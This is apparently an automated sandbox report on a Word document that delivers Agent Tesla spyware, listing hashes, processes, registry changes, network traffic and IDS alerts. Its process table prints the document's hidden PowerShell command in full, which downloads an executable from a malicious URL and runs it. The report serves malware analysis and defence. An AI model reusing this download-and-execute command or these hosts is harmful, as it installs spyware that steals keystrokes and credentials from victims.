| File name: | Order Kernel_2019_quotation rqt.doc |
| Full analysis: | https://app.any.run/tasks/cd8ea66c-3ac2-4369-82fd-742ea011278f |
| Verdict: | Malicious activity |
| Threats: | Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold. |
| Analysis date: | March 14, 2019, 14:26:22 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: ba22b9, Subject: g69d9, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 14 02:40:00 2019, Last Saved Time/Date: Thu Mar 14 02:40:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0 |
| MD5: | A9D0B74F8D9304020D3E7340B0944626 |
| SHA1: | 26699E47637AD4069F869650F51F0269777B410D |
| SHA256: | 010C893E168E832E21371E65979B5F9B4F2C844AE466882519E77C77E273E236 |
| SSDEEP: | 768:I3yAtlO83fQfzUnbwBGa32aOlJ8s7HJutv7HJ8kjc:syklO83fQfzUnbYGa3OJ8s7HJA7HJ7c |
| .doc | | | Microsoft Word document (38.3) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (29.3) |
| .doc | | | Microsoft Word document (old ver.) (22.7) |
| Title: | ba22b9 |
|---|---|
| Subject: | g69d9 |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:03:14 02:40:00 |
| ModifyDate: | 2019:03:14 02:40:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | - |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Bytes: | 11000 |
| Lines: | - |
| Paragraphs: | - |
| CharCountWithSpaces: | - |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | ba22b9 |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 420 | "C:\Program Files\Internet Explorer\iexplore.exe" | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2332 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:420 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2552 | "C:\Users\admin\AppData\Roaming\j1984c.exe" | C:\Users\admin\AppData\Roaming\j1984c.exe | j1984c.exe | ||||||||||||
User: admin Company: G2 Wind Integrity Level: MEDIUM Description: PCA Predict Exit code: 0 Version: 4.19.14.1 Modules
| |||||||||||||||
| 2844 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Order Kernel_2019_quotation rqt.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3176 | "C:\Users\admin\AppData\Roaming\j1984c.exe" | C:\Users\admin\AppData\Roaming\j1984c.exe | — | powershell.exe | |||||||||||
User: admin Company: G2 Wind Integrity Level: MEDIUM Description: PCA Predict Exit code: 0 Version: 4.19.14.1 Modules
| |||||||||||||||
| 3464 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $g1a92ee = $env:APPDATA; $o6bef94 = $g1a92ee + '\\j1984c.exe'; If (test-path $o6bef94) {Remove-Item $o6bef94}; $d3ad5 = New-Object System.Net.WebClient; $d3ad5.Headers['User-Agent'] = 'd3ad5'; $d3ad5.DownloadFile('http://jadema.com.py/dr/dr.exe', $o6bef94); Start-Process -Filepath $o6bef94; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 2}% |
Value: 327D25001C0B0000010000000000000000000000 | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1315831829 | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1315831948 | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1315831949 | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 1C0B0000F293CCEE71DAD40100000000 | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | <~% |
Value: 3C7E25001C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | <~% |
Value: 3C7E25001C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2844) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2844 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRDD32.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VAGEDQ4EHV1JR4AU2S72.temp | — | |
MD5:— | SHA256:— | |||
| 420 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 420 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 2332 | iexplore.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@bing[2].txt | — | |
MD5:— | SHA256:— | |||
| 2332 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\search[1].txt | — | |
MD5:— | SHA256:— | |||
| 2844 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Order Kernel_2019_quotation rqt.doc.LNK | lnk | |
MD5:— | SHA256:— | |||
| 3464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3464 | powershell.exe | C:\Users\admin\AppData\Roaming\j1984c.exe | executable | |
MD5:— | SHA256:— | |||
| 2332 | iexplore.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@www.bing[1].txt | text | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3464 | powershell.exe | GET | 200 | 192.185.73.158:80 | http://jadema.com.py/dr/dr.exe | US | executable | 637 Kb | malicious |
2552 | j1984c.exe | GET | 200 | 34.196.82.108:80 | http://checkip.amazonaws.com/ | US | text | 16 b | malicious |
420 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
2332 | iexplore.exe | GET | — | 204.79.197.200:80 | http://www.bing.com/search?q=www.intesasa&src=IE-SearchBox&FORM=IE8SRC | US | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3464 | powershell.exe | 192.185.73.158:80 | jadema.com.py | CyrusOne LLC | US | malicious |
2552 | j1984c.exe | 108.167.141.127:587 | mail.marseilleprotech.com | CyrusOne LLC | US | unknown |
420 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2332 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2552 | j1984c.exe | 34.196.82.108:80 | checkip.amazonaws.com | Amazon.com, Inc. | US | shared |
Domain | IP | Reputation |
|---|---|---|
jadema.com.py |
| malicious |
mail.marseilleprotech.com |
| unknown |
checkip.amazonaws.com |
| malicious |
www.bing.com |
| whitelisted |
www.intesasa |
| unknown |
PID | Process | Class | Message |
|---|---|---|---|
3464 | powershell.exe | Potentially Bad Traffic | ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile |
3464 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2552 | j1984c.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |
2552 | j1984c.exe | A Network Trojan was detected | MALWARE [PTsecurity] AgentTesla IP Check |
2552 | j1984c.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |
2552 | j1984c.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |